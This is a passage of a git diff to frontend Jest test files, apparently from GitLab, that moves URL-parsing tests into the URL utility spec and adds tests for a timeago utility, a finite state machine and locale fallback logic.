- it('parses path for search terms with spaces', () => {
- expect(commonUtils.urlParamsToObject('search=two+words', {})).toEqual({
- search: 'two words',
- });
- });
- });
-
describe('handleLocationHash', () => {
beforeEach(() => {
jest.spyOn(window.document, 'getElementById');
@@ -175,33 +189,6 @@ describe('common_utils', () => {
});
});
- describe('parseQueryStringIntoObject', () => {
- it('should return object with query parameters', () => {
- expect(commonUtils.parseQueryStringIntoObject('scope=all&page=2')).toEqual({
- scope: 'all',
- page: '2',
- });
-
- expect(commonUtils.parseQueryStringIntoObject('scope=all')).toEqual({ scope: 'all' });
- expect(commonUtils.parseQueryStringIntoObject()).toEqual({});
- });
- });
-
- describe('objectToQueryString', () => {
- it('returns empty string when `param` is undefined, null or empty string', () => {
- expect(commonUtils.objectToQueryString()).toBe('');
- expect(commonUtils.objectToQueryString('')).toBe('');
- });
-
- it('returns query string with values of `params`', () => {
- const singleQueryParams = { foo: true };
- const multipleQueryParams = { foo: true, bar: true };
-
- expect(commonUtils.objectToQueryString(singleQueryParams)).toBe('foo=true');
- expect(commonUtils.objectToQueryString(multipleQueryParams)).toBe('foo=true&bar=true');
- });
- });
-
describe('buildUrlWithCurrentLocation', () => {
it('should build an url with current location and given parameters', () => {
expect(commonUtils.buildUrlWithCurrentLocation()).toEqual(window.location.pathname);
@@ -310,39 +297,6 @@ describe('common_utils', () => {
});
});
- describe('getParameterByName', () => {
- beforeEach(() => {
- window.history.pushState({}, null, '?scope=all&p=2');
- });
-
- afterEach(() => {
- window.history.replaceState({}, null, null);
- });
-
- it('should return valid parameter', () => {
- const value = commonUtils.getParameterByName('scope');
-
- expect(commonUtils.getParameterByName('p')).toEqual('2');
- expect(value).toBe('all');
- });
-
- it('should return invalid parameter', () => {
- const value = commonUtils.getParameterByName('fakeParameter');
-
- expect(value).toBe(null);
- });
-
- it('should return valid paramentes if URL is provided', () => {
- let value = commonUtils.getParameterByName('foo', 'http://cocteau.twins/?foo=bar');
-
- expect(value).toBe('bar');
-
- value = commonUtils.getParameterByName('manan', 'http://cocteau.twins/?foo=bar&manan=canchu');
-
- expect(value).toBe('canchu');
- });
- });
-
describe('normalizedHeaders', () => {
it('should upperCase all the header keys to keep them consistent', () => {
const apiHeaders = {
diff --git a/spec/frontend/lib/utils/datetime/timeago_utility_spec.js b/spec/frontend/lib/utils/datetime/timeago_utility_spec.js
new file mode 100644
index 00000000000..2314ec678d3
--- /dev/null
+++ b/spec/frontend/lib/utils/datetime/timeago_utility_spec.js
@@ -0,0 +1,103 @@
+import { getTimeago, localTimeAgo, timeFor } from '~/lib/utils/datetime/timeago_utility';
+import { s__ } from '~/locale';
+import '~/commons/bootstrap';
+
+describe('TimeAgo utils', () => {
+ let oldGon;
+
+ afterEach(() => {
+ window.gon = oldGon;
+ });
+
+ beforeEach(() => {
+ oldGon = window.gon;
+ });
+
+ describe('getTimeago', () => {
+ describe('with User Setting timeDisplayRelative: true', () => {
+ beforeEach(() => {
+ window.gon = { time_display_relative: true };
+ });
+
+ it.each([
+ [new Date().toISOString(), 'just now'],
+ [new Date().getTime(), 'just now'],
+ [new Date(), 'just now'],
+ [null, 'just now'],
+ ])('formats date `%p` as `%p`', (date, result) => {
+ expect(getTimeago().format(date)).toEqual(result);
+ });
+ });
+
+ describe('with User Setting timeDisplayRelative: false', () => {
+ beforeEach(() => {
+ window.gon = { time_display_relative: false };
+ });
+
+ it.each([
+ [new Date().toISOString(), 'Jul 6, 2020, 12:00 AM'],
+ [new Date(), 'Jul 6, 2020, 12:00 AM'],
+ [new Date().getTime(), 'Jul 6, 2020, 12:00 AM'],
+ // Slightly different behaviour when `null` is passed :see_no_evil`
+ [null, 'Jan 1, 1970, 12:00 AM'],
+ ])('formats date `%p` as `%p`', (date, result) => {
+ expect(getTimeago().format(date)).toEqual(result);
+ });
+ });
+ });
+
+ describe('timeFor', () => {
+ it('returns localize `past due` when in past', () => {
+ const date = new Date();
+ date.setFullYear(date.getFullYear() - 1);
+
+ expect(timeFor(date)).toBe(s__('Timeago|Past due'));
+ });
+
+ it('returns localized remaining time when in the future', () => {
+ const date = new Date();
+ date.setFullYear(date.getFullYear() + 1);
+
+ // Add a day to prevent a transient error. If date is even 1 second
+ // short of a full year, timeFor will return '11 months remaining'
+ date.setDate(date.getDate() + 1);
+
+ expect(timeFor(date)).toBe(s__('Timeago|1 year remaining'));
+ });
+ });
+
+ describe('localTimeAgo', () => {
+ beforeEach(() => {
+ document.body.innerHTML =
+ '<time title="some time" datetime="2020-02-18T22:22:32Z">1 hour ago</time>';
+ });
+
+ describe.each`
+ timeDisplayRelative | text
+ ${true} | ${'4 months ago'}
+ ${false} | ${'Feb 18, 2020, 10:22 PM'}
+ `(
+ `With User Setting timeDisplayRelative: $timeDisplayRelative`,
+ ({ timeDisplayRelative, text }) => {
+ it.each`
+ updateTooltip | title
+ ${false} | ${'some time'}
+ ${true} | ${'Feb 18, 2020 10:22pm UTC'}
+ `(
+ `has content: '${text}' and tooltip: '$title' with updateTooltip = $updateTooltip`,
+ ({ updateTooltip, title }) => {
+ window.gon = { time_display_relative: timeDisplayRelative };
+
+ const element = document.querySelector('time');
+ localTimeAgo([element], updateTooltip);
+
+ jest.runAllTimers();
+
+ expect(element.getAttribute('title')).toBe(title);
+ expect(element.innerText).toBe(text);
+ },
+ );
+ },
+ );
+ });
+});
diff --git a/spec/frontend/lib/utils/datetime_utility_spec.js b/spec/frontend/lib/utils/datetime_utility_spec.js
index df0ccb19cb7..f6ad41d5478 100644
--- a/spec/frontend/lib/utils/datetime_utility_spec.js
+++ b/spec/frontend/lib/utils/datetime_utility_spec.js
@@ -1,30 +1,9 @@
-import $ from 'jquery';
import timezoneMock from 'timezone-mock';
import * as datetimeUtility from '~/lib/utils/datetime_utility';
import { __, s__ } from '~/locale';
import '~/commons/bootstrap';
describe('Date time utils', () => {
- describe('timeFor', () => {
- it('returns localize `past due` when in past', () => {
- const date = new Date();
- date.setFullYear(date.getFullYear() - 1);
-
- expect(datetimeUtility.timeFor(date)).toBe(s__('Timeago|Past due'));
- });
-
- it('returns localized remaining time when in the future', () => {
- const date = new Date();
- date.setFullYear(date.getFullYear() + 1);
-
- // Add a day to prevent a transient error. If date is even 1 second
- // short of a full year, timeFor will return '11 months remaining'
- date.setDate(date.getDate() + 1);
-
- expect(datetimeUtility.timeFor(date)).toBe(s__('Timeago|1 year remaining'));
- });
- });
-
describe('get localized day name', () => {
it('should return Sunday', () => {
const day = datetimeUtility.getDayName(new Date('07/17/2016'));
@@ -870,25 +849,6 @@ describe('approximateDuration', () => {
});
});
-describe('localTimeAgo', () => {
- beforeEach(() => {
- document.body.innerHTML = `<time title="some time" datetime="2020-02-18T22:22:32Z">1 hour ago</time>`;
- });
-
- it.each`
- timeagoArg | title
- ${false} | ${'some time'}
- ${true} | ${'Feb 18, 2020 10:22pm UTC'}
- `('converts $seconds seconds to $approximation', ({ timeagoArg, title }) => {
- const element = document.querySelector('time');
- datetimeUtility.localTimeAgo($(element), timeagoArg);
-
- jest.runAllTimers();
-
- expect(element.getAttribute('title')).toBe(title);
- });
-});
-
describe('differenceInSeconds', () => {
const startDateTime = new Date('2019-07-17T00:00:00.000Z');
diff --git a/spec/frontend/lib/utils/finite_state_machine_spec.js b/spec/frontend/lib/utils/finite_state_machine_spec.js
new file mode 100644
index 00000000000..441dd24c758
--- /dev/null
+++ b/spec/frontend/lib/utils/finite_state_machine_spec.js
@@ -0,0 +1,293 @@
+import { machine, transition } from '~/lib/utils/finite_state_machine';
+
+describe('Finite State Machine', () => {
+ const STATE_IDLE = 'idle';
+ const STATE_LOADING = 'loading';
+ const STATE_ERRORED = 'errored';
+
+ const TRANSITION_START_LOAD = 'START_LOAD';
+ const TRANSITION_LOAD_ERROR = 'LOAD_ERROR';
+ const TRANSITION_LOAD_SUCCESS = 'LOAD_SUCCESS';
+ const TRANSITION_ACKNOWLEDGE_ERROR = 'ACKNOWLEDGE_ERROR';
+
+ const definition = {
+ initial: STATE_IDLE,
+ states: {
+ [STATE_IDLE]: {
+ on: {
+ [TRANSITION_START_LOAD]: STATE_LOADING,
+ },
+ },
+ [STATE_LOADING]: {
+ on: {
+ [TRANSITION_LOAD_ERROR]: STATE_ERRORED,
+ [TRANSITION_LOAD_SUCCESS]: STATE_IDLE,
+ },
+ },
+ [STATE_ERRORED]: {
+ on: {
+ [TRANSITION_ACKNOWLEDGE_ERROR]: STATE_IDLE,
+ [TRANSITION_START_LOAD]: STATE_LOADING,
+ },
+ },
+ },
+ };
+
+ describe('machine', () => {
+ const STATE_IMPOSSIBLE = 'impossible';
+ const badDefinition = {
+ init: definition.initial,
+ badKeyShouldBeStates: definition.states,
+ };
+ const unstartableDefinition = {
+ initial: STATE_IMPOSSIBLE,
+ states: definition.states,
+ };
+ let liveMachine;
+
+ beforeEach(() => {
+ liveMachine = machine(definition);
+ });
+
+ it('throws an error if the machine definition is invalid', () => {
+ expect(() => machine(badDefinition)).toThrowError(
+ 'A state machine must have an initial state (`.initial`) and a dictionary of possible states (`.states`)',
+ );
+ });
+
+ it('throws an error if the initial state is invalid', () => {
+ expect(() => machine(unstartableDefinition)).toThrowError(
+ `Cannot initialize the state machine to state '${STATE_IMPOSSIBLE}'. Is that one of the machine's defined states?`,
+ );
+ });
+
+ it.each`
+ partOfMachine | equals | description | eqDescription
+ ${'keys'} | ${['is', 'send', 'value', 'states']} | ${'keys'} | ${'the correct array'}
+ ${'is'} | ${expect.any(Function)} | ${'`is` property'} | ${'a function'}
+ ${'send'} | ${expect.any(Function)} | ${'`send` property'} | ${'a function'}
+ ${'value'} | ${definition.initial} | ${'`value` property'} | ${'the same as the `initial` value of the machine definition'}
+ ${'states'} | ${definition.states} | ${'`states` property'} | ${'the same as the `states` value of the machine definition'}
+ `("The machine's $description should be $eqDescription", ({ partOfMachine, equals }) => {
+ const test = partOfMachine === 'keys' ? Object.keys(liveMachine) : liveMachine[partOfMachine];
+
+ expect(test).toEqual(equals);
+ });
+
+ it.each`
+ initialState | transitionEvent | expectedState
+ ${definition.initial} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_ERROR} | ${STATE_ERRORED}
+ ${STATE_ERRORED} | ${TRANSITION_ACKNOWLEDGE_ERROR} | ${STATE_IDLE}
+ ${STATE_IDLE} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_SUCCESS} | ${STATE_IDLE}
+ `(
+ 'properly steps from $initialState to $expectedState when the event "$transitionEvent" is sent',
+ ({ initialState, transitionEvent, expectedState }) => {
+ liveMachine.value = initialState;
+
+ liveMachine.send(transitionEvent);
+
+ expect(liveMachine.is(expectedState)).toBe(true);
+ expect(liveMachine.value).toBe(expectedState);
+ },
+ );
+
+ it.each`
+ initialState | transitionEvent
+ ${STATE_IDLE} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_IDLE} | ${'RANDOM_FOO'}
+ ${STATE_LOADING} | ${TRANSITION_START_LOAD}
+ ${STATE_LOADING} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_LOADING} | ${'RANDOM_FOO'}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_ERRORED} | ${'RANDOM_FOO'}
+ `(
+ `does not perform any transition if the machine can't move from "$initialState" using the "$transitionEvent" event`,
+ ({ initialState, transitionEvent }) => {
+ liveMachine.value = initialState;
+
+ liveMachine.send(transitionEvent);
+
+ expect(liveMachine.is(initialState)).toBe(true);
+ expect(liveMachine.value).toBe(initialState);
+ },
+ );
+
+ describe('send', () => {
+ it.each`
+ startState | transitionEvent | result
+ ${STATE_IDLE} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_SUCCESS} | ${STATE_IDLE}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_ERROR} | ${STATE_ERRORED}
+ ${STATE_ERRORED} | ${TRANSITION_ACKNOWLEDGE_ERROR} | ${STATE_IDLE}
+ ${STATE_ERRORED} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ `(
+ 'successfully transitions to $result from $startState when the transition $transitionEvent is received',
+ ({ startState, transitionEvent, result }) => {
+ liveMachine.value = startState;
+
+ expect(liveMachine.send(transitionEvent)).toEqual(result);
+ },
+ );
+
+ it.each`
+ startState | transitionEvent
+ ${STATE_IDLE} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_IDLE} | ${'RANDOM_FOO'}
+ ${STATE_LOADING} | ${TRANSITION_START_LOAD}
+ ${STATE_LOADING} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_LOADING} | ${'RANDOM_FOO'}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_ERRORED} | ${'RANDOM_FOO'}
+ `(
+ 'remains as $startState if an undefined transition ($transitionEvent) is received',
+ ({ startState, transitionEvent }) => {
+ liveMachine.value = startState;
+
+ expect(liveMachine.send(transitionEvent)).toEqual(startState);
+ },
+ );
+
+ describe('detached', () => {
+ it.each`
+ startState | transitionEvent | result
+ ${STATE_IDLE} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_SUCCESS} | ${STATE_IDLE}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_ERROR} | ${STATE_ERRORED}
+ ${STATE_ERRORED} | ${TRANSITION_ACKNOWLEDGE_ERROR} | ${STATE_IDLE}
+ ${STATE_ERRORED} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ `(
+ 'successfully transitions to $result from $startState when the transition $transitionEvent is received outside the context of the machine',
+ ({ startState, transitionEvent, result }) => {
+ const liveSend = machine({
+ ...definition,
+ initial: startState,
+ }).send;
+
+ expect(liveSend(transitionEvent)).toEqual(result);
+ },
+ );
+
+ it.each`
+ startState | transitionEvent
+ ${STATE_IDLE} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_IDLE} | ${'RANDOM_FOO'}
+ ${STATE_LOADING} | ${TRANSITION_START_LOAD}
+ ${STATE_LOADING} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_LOADING} | ${'RANDOM_FOO'}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_ERRORED} | ${'RANDOM_FOO'}
+ `(
+ 'remains as $startState if an undefined transition ($transitionEvent) is received',
+ ({ startState, transitionEvent }) => {
+ const liveSend = machine({
+ ...definition,
+ initial: startState,
+ }).send;
+
+ expect(liveSend(transitionEvent)).toEqual(startState);
+ },
+ );
+ });
+ });
+
+ describe('is', () => {
+ it.each`
+ bool | test | actual
+ ${true} | ${STATE_IDLE} | ${STATE_IDLE}
+ ${false} | ${STATE_LOADING} | ${STATE_IDLE}
+ ${false} | ${STATE_ERRORED} | ${STATE_IDLE}
+ ${true} | ${STATE_LOADING} | ${STATE_LOADING}
+ ${false} | ${STATE_IDLE} | ${STATE_LOADING}
+ ${false} | ${STATE_ERRORED} | ${STATE_LOADING}
+ ${true} | ${STATE_ERRORED} | ${STATE_ERRORED}
+ ${false} | ${STATE_IDLE} | ${STATE_ERRORED}
+ ${false} | ${STATE_LOADING} | ${STATE_ERRORED}
+ `(
+ 'returns "$bool" for "$test" when the current state is "$actual"',
+ ({ bool, test, actual }) => {
+ liveMachine = machine({
+ ...definition,
+ initial: actual,
+ });
+
+ expect(liveMachine.is(test)).toEqual(bool);
+ },
+ );
+
+ describe('detached', () => {
+ it.each`
+ bool | test | actual
+ ${true} | ${STATE_IDLE} | ${STATE_IDLE}
+ ${false} | ${STATE_LOADING} | ${STATE_IDLE}
+ ${false} | ${STATE_ERRORED} | ${STATE_IDLE}
+ ${true} | ${STATE_LOADING} | ${STATE_LOADING}
+ ${false} | ${STATE_IDLE} | ${STATE_LOADING}
+ ${false} | ${STATE_ERRORED} | ${STATE_LOADING}
+ ${true} | ${STATE_ERRORED} | ${STATE_ERRORED}
+ ${false} | ${STATE_IDLE} | ${STATE_ERRORED}
+ ${false} | ${STATE_LOADING} | ${STATE_ERRORED}
+ `(
+ 'returns "$bool" for "$test" when the current state is "$actual"',
+ ({ bool, test, actual }) => {
+ const liveIs = machine({
+ ...definition,
+ initial: actual,
+ }).is;
+
+ expect(liveIs(test)).toEqual(bool);
+ },
+ );
+ });
+ });
+ });
+
+ describe('transition', () => {
+ it.each`
+ startState | transitionEvent | result
+ ${STATE_IDLE} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_SUCCESS} | ${STATE_IDLE}
+ ${STATE_LOADING} | ${TRANSITION_LOAD_ERROR} | ${STATE_ERRORED}
+ ${STATE_ERRORED} | ${TRANSITION_ACKNOWLEDGE_ERROR} | ${STATE_IDLE}
+ ${STATE_ERRORED} | ${TRANSITION_START_LOAD} | ${STATE_LOADING}
+ `(
+ 'successfully transitions to $result from $startState when the transition $transitionEvent is received',
+ ({ startState, transitionEvent, result }) => {
+ expect(transition(definition, startState, transitionEvent)).toEqual(result);
+ },
+ );
+
+ it.each`
+ startState | transitionEvent
+ ${STATE_IDLE} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_IDLE} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_IDLE} | ${'RANDOM_FOO'}
+ ${STATE_LOADING} | ${TRANSITION_START_LOAD}
+ ${STATE_LOADING} | ${TRANSITION_ACKNOWLEDGE_ERROR}
+ ${STATE_LOADING} | ${'RANDOM_FOO'}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_ERROR}
+ ${STATE_ERRORED} | ${TRANSITION_LOAD_SUCCESS}
+ ${STATE_ERRORED} | ${'RANDOM_FOO'}
+ `(
+ 'remains as $startState if an undefined transition ($transitionEvent) is received',
+ ({ startState, transitionEvent }) => {
+ expect(transition(definition, startState, transitionEvent)).toEqual(startState);
+ },
+ );
+
+ it('remains as the provided starting state if it is an unrecognized state', () => {
+ expect(transition(definition, 'RANDOM_FOO', TRANSITION_START_LOAD)).toEqual('RANDOM_FOO');
+ });
+ });
+});
diff --git a/spec/frontend/lib/utils/text_markdown_spec.js b/spec/frontend/lib/utils/text_markdown_spec.js
index cad500039c0..beedb9b2eba 100644
--- a/spec/frontend/lib/utils/text_markdown_spec.js
+++ b/spec/frontend/lib/utils/text_markdown_spec.js
@@ -300,7 +300,7 @@ describe('init markdown', () => {
});
});
- describe('Editor Lite', () => {
+ describe('Source Editor', () => {
let editor;
beforeEach(() => {
diff --git a/spec/frontend/lib/utils/url_utility_spec.js b/spec/frontend/lib/utils/url_utility_spec.js
index 31c78681994..66d0faa95e7 100644
--- a/spec/frontend/lib/utils/url_utility_spec.js
+++ b/spec/frontend/lib/utils/url_utility_spec.js
@@ -24,6 +24,16 @@ const setWindowLocation = (value) => {
};
describe('URL utility', () => {
+ let originalLocation;
+
+ beforeAll(() => {
+ originalLocation = window.location;
+ });
+
+ afterAll(() => {
+ window.location = originalLocation;
+ });
+
describe('webIDEUrl', () => {
afterEach(() => {
gon.relative_url_root = '';
@@ -319,19 +329,17 @@ describe('URL utility', () => {
});
describe('doesHashExistInUrl', () => {
- it('should return true when the given string exists in the URL hash', () => {
+ beforeEach(() => {
setWindowLocation({
- href: 'https://gitlab.com/gitlab-org/gitlab-test/issues/1#note_1',
+ hash: 'https://gitlab.com/gitlab-org/gitlab-test/issues/1#note_1',
});
+ });
+ it('should return true when the given string exists in the URL hash', () => {
expect(urlUtils.doesHashExistInUrl('note_')).toBe(true);
});
it('should return false when the given string does not exist in the URL hash', () => {
- setWindowLocation({
- href: 'https://gitlab.com/gitlab-org/gitlab-test/issues/1#note_1',
- });
-
expect(urlUtils.doesHashExistInUrl('doesnotexist')).toBe(false);
});
});
@@ -651,6 +659,45 @@ describe('URL utility', () => {
});
});
+ describe('urlParamsToArray', () => {
+ it('returns empty array for empty querystring', () => {
+ expect(urlUtils.urlParamsToArray('')).toEqual([]);
+ });
+
+ it('should decode params', () => {
+ expect(urlUtils.urlParamsToArray('?label_name%5B%5D=test')[0]).toBe('label_name[]=test');
+ });
+
+ it('should remove the question mark from the search params', () => {
+ const paramsArray = urlUtils.urlParamsToArray('?test=thing');
+
+ expect(paramsArray[0][0]).not.toBe('?');
+ });
+ });
+
+ describe('urlParamsToObject', () => {
+ it('parses path for label with trailing +', () => {
+ // eslint-disable-next-line import/no-deprecated
+ expect(urlUtils.urlParamsToObject('label_name[]=label%2B', {})).toEqual({
+ label_name: ['label+'],
+ });
+ });
+
+ it('parses path for milestone with trailing +', () => {
+ // eslint-disable-next-line import/no-deprecated
+ expect(urlUtils.urlParamsToObject('milestone_title=A%2B', {})).toEqual({
+ milestone_title: 'A+',
+ });
+ });
+
+ it('parses path for search terms with spaces', () => {
+ // eslint-disable-next-line import/no-deprecated
+ expect(urlUtils.urlParamsToObject('search=two+words', {})).toEqual({
+ search: 'two words',
+ });
+ });
+ });
+
describe('queryToObject', () => {
it.each`
case | query | options | result
@@ -673,12 +720,68 @@ describe('URL utility', () => {
});
});
+ describe('getParameterByName', () => {
+ const { getParameterByName } = urlUtils;
+
+ it('should return valid parameter', () => {
+ setWindowLocation({ search: '?scope=all&p=2' });
+
+ expect(getParameterByName('p')).toEqual('2');
+ expect(getParameterByName('scope')).toBe('all');
+ });
+
+ it('should return invalid parameter', () => {
+ setWindowLocation({ search: '?scope=all&p=2' });
+
+ expect(getParameterByName('fakeParameter')).toBe(null);
+ });
+
+ it('should return a parameter with spaces', () => {
+ setWindowLocation({ search: '?search=my terms' });
+
+ expect(getParameterByName('search')).toBe('my terms');
+ });
+
+ it('should return a parameter with encoded spaces', () => {
+ setWindowLocation({ search: '?search=my%20terms' });
+
+ expect(getParameterByName('search')).toBe('my terms');
+ });
+
+ it('should return a parameter with plus signs as spaces', () => {
+ setWindowLocation({ search: '?search=my+terms' });
+
+ expect(getParameterByName('search')).toBe('my terms');
+ });
+
+ it('should return valid parameters if search is provided', () => {
+ expect(getParameterByName('foo', 'foo=bar')).toBe('bar');
+ expect(getParameterByName('foo', '?foo=bar')).toBe('bar');
+
+ expect(getParameterByName('manan', 'foo=bar&manan=canchu')).toBe('canchu');
+ expect(getParameterByName('manan', '?foo=bar&manan=canchu')).toBe('canchu');
+ });
+ });
+
describe('objectToQuery', () => {
it('converts search query object back into a search query', () => {
const searchQueryObject = { one: '1', two: '2' };
expect(urlUtils.objectToQuery(searchQueryObject)).toEqual('one=1&two=2');
});
+
+ it('returns empty string when `params` is undefined, null or empty string', () => {
+ expect(urlUtils.objectToQuery()).toBe('');
+ expect(urlUtils.objectToQuery('')).toBe('');
+ });
+
+ it('returns query string with values of `params`', () => {
+ const singleQueryParams = { foo: true };
+ const multipleQueryParams = { foo: true, bar: true };
+
+ expect(urlUtils.objectToQuery(singleQueryParams)).toBe('foo=true');
+ expect(urlUtils.objectToQuery(multipleQueryParams)).toBe('foo=true&bar=true');
+ });
});
describe('cleanLeadingSeparator', () => {
diff --git a/spec/frontend/line_highlighter_spec.js b/spec/frontend/line_highlighter_spec.js
index b5a0adc9d49..97ae6c0e3b7 100644
--- a/spec/frontend/line_highlighter_spec.js
+++ b/spec/frontend/line_highlighter_spec.js
@@ -49,6 +49,15 @@ describe('LineHighlighter', () => {
}
});
+ it('highlights a range of lines given in the URL hash using GitHub format', () => {
+ new LineHighlighter({ hash: '#L5-L25' });
+
+ expect($(`.${testContext.css}`).length).toBe(21);
+ for (let line = 5; line <= 25; line += 1) {
+ expect($(`#LC${line}`)).toHaveClass(testContext.css);
+ }
+ });
+
it('scrolls to the first highlighted line on initial load', () => {
jest.spyOn(utils, 'scrollToElement');
new LineHighlighter({ hash: '#L5-25' });
diff --git a/spec/frontend/locale/index_spec.js b/spec/frontend/locale/index_spec.js
index a08be502735..220061fc64a 100644
--- a/spec/frontend/locale/index_spec.js
+++ b/spec/frontend/locale/index_spec.js
@@ -1,5 +1,5 @@
import { setLanguage } from 'helpers/locale_helper';
-import { createDateTimeFormat, formatNumber, languageCode } from '~/locale';
+import { createDateTimeFormat, formatNumber, languageCode, getPreferredLocales } from '~/locale';
describe('locale', () => {
afterEach(() => setLanguage(null));
@@ -18,13 +18,91 @@ describe('locale', () => {
});
});
+ describe('getPreferredLocales', () => {
+ beforeEach(() => {
+ // Need to spy on window.navigator.languages as it is read-only
+ jest
+ .spyOn(window.navigator, 'languages', 'get')
+ .mockReturnValueOnce(['en-GB', 'en-US', 'de-AT']);
+ });
+
+ it('filters navigator.languages by GitLab language', () => {
+ setLanguage('en');
+
+ expect(getPreferredLocales()).toEqual(['en-GB', 'en-US', 'en']);
+ });
+
+ it('filters navigator.languages by GitLab language without locale and sets English Fallback', () => {
+ setLanguage('de');
+
+ expect(getPreferredLocales()).toEqual(['de-AT', 'de', 'en']);
+ });
+
+ it('filters navigator.languages by GitLab language with locale and sets English Fallback', () => {
+ setLanguage('de-DE');
+
+ expect(getPreferredLocales()).toEqual(['de-AT', 'de-DE', 'de', 'en']);
+ });
+
+ it('adds GitLab language if navigator.languages does not contain it', () => {
+ setLanguage('es-ES');
+
+ expect(getPreferredLocales()).toEqual(['es-ES', 'es', 'en']);
+ });
+ });
+
describe('createDateTimeFormat', () => {
- beforeEach(() => setLanguage('en'));
+ const date = new Date(2015, 0, 3, 15, 13, 22);
+ const formatOptions = { dateStyle: 'long', timeStyle: 'medium' };
it('creates an instance of Intl.DateTimeFormat', () => {
- const dateFormat = createDateTimeFormat({ year: 'numeric', month: 'long', day: 'numeric' });
+ const dateFormat = createDateTimeFormat(formatOptions);
+
+ expect(dateFormat).toBeInstanceOf(Intl.DateTimeFormat);
+ });
+
+ it('falls back to `en` and GitLab language is default', () => {
+ setLanguage(null);
+ jest.spyOn(window.navigator, 'languages', 'get').mockReturnValueOnce(['de-AT', 'en-GB']);
+
+ const dateFormat = createDateTimeFormat(formatOptions);
+ expect(dateFormat.format(date)).toBe(
+ new Intl.DateTimeFormat('en-GB', formatOptions).format(date),
+ );
+ });
+
+ it('falls back to `en` locale if browser languages are empty', () => {
+ setLanguage('en');
+ jest.spyOn(window.navigator, 'languages', 'get').mockReturnValueOnce([]);
+
+ const dateFormat = createDateTimeFormat(formatOptions);
+ expect(dateFormat.format(date)).toBe(
+ new Intl.DateTimeFormat('en', formatOptions).format(date),
+ );
+ });
+
+ it('prefers `en-GB` if it is the preferred language and GitLab language is `en`', () => {
+ setLanguage('en');
+ jest
+ .spyOn(window.navigator, 'languages', 'get')
+ .mockReturnValueOnce(['en-GB', 'en-US', 'en']);
+
+ const dateFormat = createDateTimeFormat(formatOptions);
+ expect(dateFormat.format(date)).toBe(
+ new Intl.DateTimeFormat('en-GB', formatOptions).format(date),
+ );
+ });
+
+ it('prefers `de-AT` if it is GitLab language and not part of the browser languages', () => {
+ setLanguage('de-AT');
+ jest
+ .spyOn(window.navigator, 'languages', 'get')
+ .mockReturnValueOnce(['en-GB', 'en-US', 'en']);
- expect(dateFormat.format(new Date(2015, 6, 3))).toBe('July 3, 2015');
+ const dateFormat = createDateTimeFormat(formatOptions);
+ expect(dateFormat.format(date)).toBe(
+ new Intl.DateTimeFormat('de-AT', formatOptions).format(date),
+ );
});
});
diff --git a/spec/frontend/logs/stores/actions_spec.js b/spec/frontend/logs/stores/actions_spec.js
index 9307a3b62fb..46ef1500a20 100644
--- a/spec/frontend/logs/stores/actions_spec.js
+++ b/spec/frontend/logs/stores/actions_spec.js
@@ -1,6 +1,5 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
-import { deprecatedCreateFlash as flash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { convertToFixedRange } from '~/lib/utils/datetime_range';
import { TOKEN_TYPE_POD_NAME } from '~/logs/constants';
@@ -32,7 +31,6 @@ import {
mockNextCursor,
} from '../mock_data';
-jest.mock('~/flash');
jest.mock('~/lib/utils/datetime_range');
jest.mock('~/logs/utils');
@@ -75,10 +73,6 @@ describe('Logs Store actions', () => {
state = logsPageState();
});
- afterEach(() => {
- flash.mockClear();
- });
-
describe('setInitData', () => {
it('should commit environment and pod name mutation', () =>
testAction(
diff --git a/spec/frontend/members/components/app_spec.js b/spec/frontend/members/components/app_spec.js
index b9fdf8792fd..9590cd9d8d4 100644
--- a/spec/frontend/members/components/app_spec.js
+++ b/spec/frontend/members/components/app_spec.js
@@ -5,7 +5,8 @@ import Vuex from 'vuex';
import * as commonUtils from '~/lib/utils/common_utils';
import MembersApp from '~/members/components/app.vue';
import FilterSortContainer from '~/members/components/filter_sort/filter_sort_container.vue';
-import { MEMBER_TYPES } from '~/members/constants';
+import MembersTable from '~/members/components/table/members_table.vue';
+import { MEMBER_TYPES, TAB_QUERY_PARAM_VALUES } from '~/members/constants';
import { RECEIVE_MEMBER_ROLE_ERROR, HIDE_ERROR } from '~/members/store/mutation_types';
import mutations from '~/members/store/mutations';
@@ -19,7 +20,7 @@ describe('MembersApp', () => {
